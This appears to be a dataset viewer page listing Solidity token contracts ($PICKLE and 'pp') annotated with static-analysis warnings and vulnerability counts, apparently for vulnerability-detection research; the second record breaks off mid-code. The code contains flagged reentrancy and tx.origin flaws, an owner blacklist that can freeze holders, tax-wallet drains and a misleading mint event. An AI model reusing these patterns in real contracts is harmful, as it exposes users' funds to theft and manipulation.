Dataset Viewer
Auto-converted to Parquet
files
dict
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract $PICKLE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f90d14c): $PICKLE._taxWallet should be immutable \n\t// Recommendation for f90d14c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f1d524): $PICKLE._initialBuyTax should be constant \n\t// Recommendation for 9f1d524: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02129cf): $PICKLE._initialSellTax should be constant \n\t// Recommendation for 02129cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f57325): $PICKLE._reduceBuyTaxAt should be constant \n\t// Recommendation for 3f57325: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9be985f): $PICKLE._reduceSellTaxAt should be constant \n\t// Recommendation for 9be985f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64cd955): $PICKLE._preventSwapBefore should be constant \n\t// Recommendation for 64cd955: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PICKLE\";\n\n string private constant _symbol = unicode\"$PICKLE\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d75dd5b): $PICKLE._taxSwapThreshold should be constant \n\t// Recommendation for d75dd5b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c944ad): $PICKLE._maxTaxSwap should be constant \n\t// Recommendation for 3c944ad: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x8EBB3243bab3AE24e11FF2B248a1d134CBB9070b);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 274074f): $PICKLE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 274074f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 73fd7af): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 73fd7af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ca9bfb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ca9bfb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 73fd7af\n\t\t// reentrancy-benign | ID: 3ca9bfb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 73fd7af\n\t\t// reentrancy-benign | ID: 3ca9bfb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6f98b06): $PICKLE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f98b06: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3ca9bfb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 73fd7af\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fd1ae26): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fd1ae26: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 535dbf1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 535dbf1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: fd1ae26\n\t\t\t\t// reentrancy-eth | ID: 535dbf1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fd1ae26\n\t\t\t\t\t// reentrancy-eth | ID: 535dbf1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 535dbf1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 535dbf1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 535dbf1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fd1ae26\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 535dbf1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 535dbf1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: fd1ae26\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fd1ae26\n\t\t// reentrancy-events | ID: 73fd7af\n\t\t// reentrancy-benign | ID: 3ca9bfb\n\t\t// reentrancy-eth | ID: 535dbf1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fd1ae26\n\t\t// reentrancy-events | ID: 73fd7af\n\t\t// reentrancy-eth | ID: 535dbf1\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4efc531): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4efc531: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a903b5d): $PICKLE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a903b5d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a1825a5): $PICKLE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a1825a5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8a48c53): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8a48c53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4efc531\n\t\t// reentrancy-eth | ID: 8a48c53\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4efc531\n\t\t// unused-return | ID: a903b5d\n\t\t// reentrancy-eth | ID: 8a48c53\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4efc531\n\t\t// unused-return | ID: a1825a5\n\t\t// reentrancy-eth | ID: 8a48c53\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4efc531\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8a48c53\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_1.sol", "size_bytes": 19889, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract pp is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2ca42fe): pp._taxWallet should be immutable \n\t// Recommendation for 2ca42fe: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ef91be): pp._initialBuyTax should be constant \n\t// Recommendation for 7ef91be: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf73766): pp._initialSellTax should be constant \n\t// Recommendation for bf73766: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: c05461e): pp._finalBuyTax should be constant \n\t// Recommendation for c05461e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a944192): pp._finalSellTax should be constant \n\t// Recommendation for a944192: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d2d42e): pp._reduceBuyTaxAt should be constant \n\t// Recommendation for 9d2d42e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: e292246): pp._reduceSellTaxAt should be constant \n\t// Recommendation for e292246: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: e656deb): pp._preventSwapBefore should be constant \n\t// Recommendation for e656deb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"pp\";\n\n string private constant _symbol = \"pp\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f8d67de): pp._taxSwapThreshold should be constant \n\t// Recommendation for f8d67de: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a0fb1f): pp._maxTaxSwap should be constant \n\t// Recommendation for 3a0fb1f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7aeb04c): pp._maxTaxed should be immutable \n\t// Recommendation for 7aeb04c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxTaxed = calculate(_tTotal, 2);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint8 blockBuffer = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6fc87c3): pp.SellPerBlockLimit should be constant \n\t// Recommendation for 6fc87c3: Add the 'constant' attribute to state variables that never change.\n uint8 SellPerBlockLimit = 3;\n\n mapping(uint256 => uint) SellsPerBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04ac7c5): pp.lastBlockSold should be constant \n\t// Recommendation for 04ac7c5: Add the 'constant' attribute to state variables that never change.\n uint256 lastBlockSold;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_taxWallet] = _maxTaxed;\n\n _balances[address(this)] = _tTotal - _maxTaxed;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c67e5): pp.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c67e5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 965514b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 965514b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 26ed09d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 26ed09d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 965514b\n\t\t// reentrancy-benign | ID: 26ed09d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 965514b\n\t\t// reentrancy-benign | ID: 26ed09d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 36ff0cf): pp._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 36ff0cf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 26ed09d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 965514b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 574dc1a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 574dc1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: e824d13): pp._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for e824d13: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cc7eb53): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cc7eb53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: e824d13\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore &&\n SellsPerBlock[block.number] < SellPerBlockLimit\n ) {\n\t\t\t\t// reentrancy-events | ID: 574dc1a\n\t\t\t\t// reentrancy-eth | ID: cc7eb53\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 574dc1a\n\t\t\t\t\t// reentrancy-eth | ID: cc7eb53\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cc7eb53\n SellsPerBlock[block.number]++;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cc7eb53\n _balances[address(this)] = 